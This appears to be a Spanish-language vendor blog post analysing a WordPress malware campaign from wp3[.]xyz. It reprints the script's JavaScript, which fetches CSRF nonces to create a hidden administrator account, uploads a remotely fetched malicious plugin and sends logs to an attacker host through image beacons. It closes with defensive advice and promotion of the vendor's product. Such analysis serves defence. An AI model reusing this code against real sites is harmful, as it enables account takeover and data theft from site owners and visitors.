Resumen: cuenta de administrador oculta de wp3.xyz y subida de plugin mediante repetición de CSRF
- No es una CVE de plugin: La mayoría de las guías de hardening de WordPress señalan las vulnerabilidades de plugins como el riesgo. wp3[.]xyz demuestra que el riesgo real es lo que hace un script malicioso después de un compromiso, y no necesitó una CVE nueva para plantar la puerta trasera wpx_admin en más de 5,000 sitios.
- La cadena del ataque: El script obtenía un token CSRF _wpnonce_create-user, enviaba una solicitud POST para crear una cuenta con rol de administrador, luego descargaba plugin.php y lo instalaba mediante /wp-admin/update.php?action=upload-plugin, exfiltrando registros a través de balizas Image() hacia tdw1.php. cside detectó y detuvo el ataque en el sitio de un usuario del plan gratuito antes de que el plugin se activara.
- Ve más allá de 2FA: Si tu estrategia de hardening de WordPress se limita a actualizar plugins y activar 2FA, estás protegiéndote contra las tácticas de ayer. Añade esta semana monitorización de scripts en tiempo de ejecución que detecte llamadas fetch a /wp-admin/user-new.php desde orígenes de terceros.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
Hemos descubierto una campaña de malware generalizada dirigida a sitios web de WordPress, que afecta a más de 5,000 sitios a nivel mundial.
El dominio malicioso: https://wp3[.]xyz/td.js.
Uno de nuestros usuarios fue afectado. cside detectó y detuvo el ataque.

Aún no está claro cómo los scripts ingresaron a los sitios. Hasta ahora, no hemos identificado un denominador común, y nuestra investigación está en curso.
Sí sabemos que el script crea cuentas de administrador no autorizadas con un nombre de usuario y contraseña que se pueden encontrar en el código.
- Nombre de usuario: wpx_admin
- Contraseña: [REDACTADA]
Después de crear la cuenta, el script descarga un plugin malicioso de WordPress y lo activa en el sitio web ahora infectado, enviando datos sensibles a un servidor remoto.
Revisa tu sitio ahora para eliminar cualquier cuenta de administrador no autorizada y eliminar cualquier plugin o tema no utilizado.
Encuentra sitios web infectados a través de:
El script en detalle
Primero, el script obtiene el token CSRF necesario para la solicitud. Luego envía una solicitud POST para crear un usuario con credenciales codificadas. Registra el estado de la operación.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY CSIDE]');
formData.append('pass2', '[REDACTED BY CSIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Después de que el script descarga el plugin obtenido de https://wp3[.]xyz/plugin.php, el script lo activa en el sitio infectado. El script se comunica con https://wp3[.]xyz/tdw1.php, enviando datos sensibles como credenciales de administrador y registros de operaciones a través de solicitudes de imagen ofuscadas.
function sendLog(data) {
const logUrl = 'https://wp3[.]xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Una vez que el atacante tiene acceso de administrador, el script carga un plugin malicioso. Obtiene el plugin de un servidor remoto y lo carga en el sitio de WordPress.
La función installPlugin funciona de la siguiente manera:
- Obtiene la página de carga de plugins para recuperar el token CSRF.
- Descarga el archivo del plugin malicioso.
- Envía el archivo del plugin para su instalación.
Luego utiliza las siguientes técnicas:
- Cargando el plugin a través de: /wp-admin/update[.]php?action=upload-plugin.
- Obteniendo el plugin de una fuente externa: https://wp3[.]xyz.
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
El script finalmente verifica si el plugin malicioso se instaló correctamente buscando referencias a https://wp3[.]xyz en el contenido del sitio web.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3[.]xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Protégete contra este ataque
- Bloquea el dominio https://wp3[.]xyz en firewalls o herramientas de seguridad.
- Audita las cuentas de administrador de WordPress en busca de usuarios no autorizados.
- Elimina plugins sospechosos y valida los existentes.
- Fortalece las protecciones CSRF e implementa autenticación multifactor (MFA).
- Considera usar cside
El usuario infectado ejecutaba la versión gratuita de cside. Puedes instalar cside para proteger tu sitio en minutos contra este y ataques similares.
cside obtiene y analiza todos los scripts en nuestro lado para análisis en tiempo real, alertando y bloqueando los potencialmente maliciosos. Este script obtenido de https://wp3[.]xyz/tdw.js fue detectado y bloqueado exitosamente en el sitio web de nuestro usuario.
Por favor contáctanos si estás preocupado o deseas incorporarte a los niveles superiores.
Revisa tu sitio para todos los administradores, asegúrate de que sus contraseñas y 2FA estén configurados correctamente. Puedes usar nuestro rastreador público para verificar cualquier script potencialmente malicioso en tu sitio web.









